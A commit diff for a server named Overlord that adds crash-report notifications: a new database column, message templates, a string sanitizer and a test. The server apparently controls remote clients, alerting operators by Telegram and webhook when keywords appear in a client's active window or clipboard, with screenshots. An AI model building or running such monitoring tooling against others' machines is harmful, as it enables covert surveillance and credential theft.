improve crash logs
This commit is contained in:
@@ -2067,6 +2067,7 @@ export type NotificationRow = {
|
||||
title: string;
|
||||
process?: string;
|
||||
processPath?: string;
|
||||
detail?: string;
|
||||
pid?: number;
|
||||
keyword?: string;
|
||||
category: string;
|
||||
@@ -2077,8 +2078,8 @@ export type NotificationRow = {
|
||||
export function saveNotification(record: NotificationRow) {
|
||||
db.run(
|
||||
`INSERT OR REPLACE INTO notifications
|
||||
(id, client_id, host, user, os, title, process, process_path, pid, keyword, category, ts, screenshot_id)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||
(id, client_id, host, user, os, title, process, process_path, detail, pid, keyword, category, ts, screenshot_id)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||
record.id,
|
||||
record.clientId,
|
||||
record.host ?? null,
|
||||
@@ -2087,6 +2088,7 @@ export function saveNotification(record: NotificationRow) {
|
||||
record.title,
|
||||
record.process ?? null,
|
||||
record.processPath ?? null,
|
||||
record.detail ?? null,
|
||||
record.pid ?? null,
|
||||
record.keyword ?? null,
|
||||
record.category,
|
||||
@@ -2116,6 +2118,7 @@ export function getNotificationHistory(limit: number = 500): NotificationRow[] {
|
||||
title: row.title,
|
||||
process: row.process ?? undefined,
|
||||
processPath: row.process_path ?? undefined,
|
||||
detail: row.detail ?? undefined,
|
||||
pid: row.pid ?? undefined,
|
||||
keyword: row.keyword ?? undefined,
|
||||
category: row.category,
|
||||
|
||||
@@ -393,6 +393,7 @@ db.run(`
|
||||
title TEXT NOT NULL,
|
||||
process TEXT,
|
||||
process_path TEXT,
|
||||
detail TEXT,
|
||||
pid INTEGER,
|
||||
keyword TEXT,
|
||||
category TEXT NOT NULL DEFAULT 'active_window',
|
||||
@@ -400,6 +401,9 @@ db.run(`
|
||||
screenshot_id TEXT
|
||||
);
|
||||
`);
|
||||
try {
|
||||
db.run(`ALTER TABLE notifications ADD COLUMN detail TEXT`);
|
||||
} catch {}
|
||||
db.run(`CREATE INDEX IF NOT EXISTS idx_notifications_ts ON notifications(ts DESC);`);
|
||||
db.run(`CREATE INDEX IF NOT EXISTS idx_notifications_client_id ON notifications(client_id);`);
|
||||
|
||||
|
||||
@@ -694,6 +694,7 @@ async function startServer() {
|
||||
notifyDashboard: sessionManager.notifyDashboardViewers,
|
||||
notifyDashboardClientEvent: sessionManager.notifyDashboardClientEvent,
|
||||
broadcastClientEvent: notificationPluginHandlers.broadcastClientLifecycleEvent,
|
||||
handleCrashReport: notificationPluginHandlers.handleCrashReport,
|
||||
};
|
||||
|
||||
const server = Bun.serve<SocketData>({
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
import { describe, expect, test } from "bun:test";
|
||||
import { DEFAULT_TELEGRAM_TEMPLATE, DEFAULT_WEBHOOK_TEMPLATE, renderNotificationTemplate } from "./server/notification-delivery";
|
||||
|
||||
describe("notification delivery templates", () => {
|
||||
test("crash report detail is available to default templates", () => {
|
||||
const record = {
|
||||
id: "notif-1",
|
||||
clientId: "client-1",
|
||||
host: "host-a",
|
||||
user: "user-a",
|
||||
os: "Windows",
|
||||
title: "Client crash report: panic",
|
||||
process: "crash report",
|
||||
detail: "panic: nil pointer at session.go:123",
|
||||
keyword: "crash",
|
||||
category: "crash_report" as const,
|
||||
ts: 123,
|
||||
};
|
||||
|
||||
const webhook = JSON.parse(renderNotificationTemplate(DEFAULT_WEBHOOK_TEMPLATE, record, DEFAULT_WEBHOOK_TEMPLATE));
|
||||
const telegram = renderNotificationTemplate(DEFAULT_TELEGRAM_TEMPLATE, record, DEFAULT_TELEGRAM_TEMPLATE);
|
||||
|
||||
expect(webhook.data.detail).toBe(record.detail);
|
||||
expect(telegram).toContain(record.detail);
|
||||
});
|
||||
});
|
||||
@@ -20,9 +20,10 @@ export type NotificationRecord = {
|
||||
title: string;
|
||||
process?: string;
|
||||
processPath?: string;
|
||||
detail?: string;
|
||||
pid?: number;
|
||||
keyword?: string;
|
||||
category: "active_window" | "clipboard";
|
||||
category: "active_window" | "clipboard" | "crash_report";
|
||||
ts: number;
|
||||
screenshotId?: string;
|
||||
};
|
||||
@@ -50,10 +51,10 @@ export type UserDeliveryTarget = {
|
||||
};
|
||||
|
||||
export const DEFAULT_WEBHOOK_TEMPLATE =
|
||||
`{"type":"notification","data":{"title":"{title}","keyword":"{keyword}","clientId":"{clientId}","user":"{user}","host":"{host}","process":"{process}","os":"{os}","pid":"{pid}","ts":"{ts}"}}`;
|
||||
`{"type":"notification","data":{"title":"{title}","keyword":"{keyword}","clientId":"{clientId}","user":"{user}","host":"{host}","process":"{process}","detail":"{detail}","os":"{os}","pid":"{pid}","ts":"{ts}"}}`;
|
||||
|
||||
export const DEFAULT_TELEGRAM_TEMPLATE =
|
||||
`\u{1F514} Notification\nTitle: {title}\nKeyword: {keyword}\nClient: {clientId}\nUser: {user}\nHost: {host}\nProcess: {process}`;
|
||||
`\u{1F514} Notification\nTitle: {title}\nKeyword: {keyword}\nClient: {clientId}\nUser: {user}\nHost: {host}\nProcess: {process}\nDetail: {detail}`;
|
||||
|
||||
const NOTIFICATION_SCREENSHOT_WAIT_MS = 5_000;
|
||||
const NOTIFICATION_SCREENSHOT_POLL_MS = 250;
|
||||
@@ -93,6 +94,7 @@ export function renderNotificationTemplate(
|
||||
.replace(/{user}/g, record.user ?? "")
|
||||
.replace(/{host}/g, record.host ?? "")
|
||||
.replace(/{process}/g, record.process ?? "")
|
||||
.replace(/{detail}/g, record.detail ?? "")
|
||||
.replace(/{os}/g, record.os ?? "")
|
||||
.replace(/{pid}/g, String(record.pid ?? ""))
|
||||
.replace(/{ts}/g, String(record.ts ?? ""));
|
||||
@@ -324,13 +326,16 @@ async function deliverWebPushToAll(
|
||||
const targets = getUserDeliveryTargets(record.clientId);
|
||||
const allowedUserIds = new Set(targets.map((t) => t.userId));
|
||||
|
||||
const title = record.keyword
|
||||
const title = record.category === "crash_report"
|
||||
? "Overlord \u2014 Crash Report"
|
||||
: record.keyword
|
||||
? `Overlord \u2014 ${record.keyword}`
|
||||
: "Overlord \u2014 Notification";
|
||||
const lines = [record.title];
|
||||
if (record.user) lines.push(`User: ${record.user}`);
|
||||
if (record.host) lines.push(`Host: ${record.host}`);
|
||||
if (record.process) lines.push(`Process: ${record.process}`);
|
||||
if (record.detail) lines.push(String(record.detail).slice(0, 300));
|
||||
|
||||
const payload = JSON.stringify({
|
||||
type: "notification",
|
||||
|
||||
@@ -270,6 +270,10 @@ type WsLifecycleDeps = {
|
||||
event: "client_online" | "client_offline" | "client_purgatory",
|
||||
info: { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string },
|
||||
) => void;
|
||||
handleCrashReport: (
|
||||
clientId: string,
|
||||
crash: { reason: string; detail?: string; host?: string; user?: string; os?: string },
|
||||
) => void;
|
||||
};
|
||||
|
||||
const ENROLLMENT_TIMEOUT_MS = 30_000;
|
||||
@@ -308,6 +312,12 @@ function computeKeyFingerprint(publicKeyBase64: string): string {
|
||||
return hash;
|
||||
}
|
||||
|
||||
function sanitizeCrashString(value: unknown, maxLen: number): string | undefined {
|
||||
if (typeof value !== "string") return undefined;
|
||||
const clean = value.replace(/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/g, "").trim();
|
||||
return clean ? clean.slice(0, maxLen) : undefined;
|
||||
}
|
||||
|
||||
export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLifecycleDeps): void {
|
||||
const role = ws.data.role as string;
|
||||
const clientId = ws.data.clientId;
|
||||
@@ -650,6 +660,18 @@ export async function handleWebSocketMessage(
|
||||
lastSeen: Date.now(),
|
||||
});
|
||||
|
||||
await handleHello(infoObj, payload as Hello, ws, ip);
|
||||
const lastCrashReason = sanitizeCrashString((payload as any).lastCrashReason, 64);
|
||||
if (lastCrashReason) {
|
||||
deps.handleCrashReport(resolvedId, {
|
||||
reason: lastCrashReason,
|
||||
detail: sanitizeCrashString((payload as any).lastCrashDetail, 1200),
|
||||
host: infoObj.host,
|
||||
user: infoObj.user,
|
||||
os: infoObj.os,
|
||||
});
|
||||
}
|
||||
|
||||
const notificationConfig = deps.getNotificationConfig();
|
||||
try {
|
||||
ws.send(
|
||||
@@ -667,7 +689,6 @@ export async function handleWebSocketMessage(
|
||||
logger.warn(`[purgatory] failed to send hello_ack to ${resolvedId}: ${sendErr}`);
|
||||
}
|
||||
|
||||
await handleHello(infoObj, payload as Hello, ws, ip);
|
||||
scheduleQueuedClientDbFlush();
|
||||
clientManager.addClient(infoObj.id, infoObj);
|
||||
|
||||
|
||||
@@ -19,9 +19,10 @@ type NotificationRecord = {
|
||||
title: string;
|
||||
process?: string;
|
||||
processPath?: string;
|
||||
detail?: string;
|
||||
pid?: number;
|
||||
keyword?: string;
|
||||
category: "active_window" | "clipboard";
|
||||
category: "active_window" | "clipboard" | "crash_report";
|
||||
ts: number;
|
||||
screenshotId?: string;
|
||||
};
|
||||
@@ -371,6 +372,53 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
||||
);
|
||||
},
|
||||
|
||||
handleCrashReport(
|
||||
clientId: string,
|
||||
crash: { reason: string; detail?: string; host?: string; user?: string; os?: string },
|
||||
) {
|
||||
const reason = String(crash.reason || "").trim();
|
||||
if (!reason) return;
|
||||
|
||||
const info = clientManager.getClient(clientId);
|
||||
const detail = String(crash.detail || "").trim();
|
||||
const record: NotificationRecord = {
|
||||
id: uuidv4(),
|
||||
clientId,
|
||||
host: crash.host || info?.host,
|
||||
user: crash.user || info?.user,
|
||||
os: crash.os || info?.os,
|
||||
title: `Client crash report: ${reason}`,
|
||||
process: "crash report",
|
||||
processPath: detail,
|
||||
detail,
|
||||
keyword: "crash",
|
||||
category: "crash_report",
|
||||
ts: Date.now(),
|
||||
};
|
||||
|
||||
logger.warn(`[notify] crash report client=${clientId} reason=${reason}`);
|
||||
saveNotification(record);
|
||||
|
||||
if (deps.isClientNotificationsMuted(clientId)) {
|
||||
return;
|
||||
}
|
||||
|
||||
for (const session of sessionManager.getAllNotificationSessions().values()) {
|
||||
const sRole = session.userRole ?? session.viewer.data.userRole ?? "";
|
||||
const sUserId = session.userId ?? session.viewer.data.userId;
|
||||
if (sRole !== "admin") {
|
||||
if (sUserId === undefined || !deps.canUserAccessClient(sUserId, sRole, clientId)) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
safeSendViewer(session.viewer, { type: "notification", item: record });
|
||||
}
|
||||
|
||||
deps.deliverNotificationWithScreenshot(record).catch((err) =>
|
||||
logger.warn("[notify] crash report delivery failed", err),
|
||||
);
|
||||
},
|
||||
|
||||
handleNotificationScreenshotFailure(commandId?: string, ok?: boolean, message?: string) {
|
||||
if (!commandId) return;
|
||||
if (ok === true) return;
|
||||
|
||||
Reference in New Issue
Block a user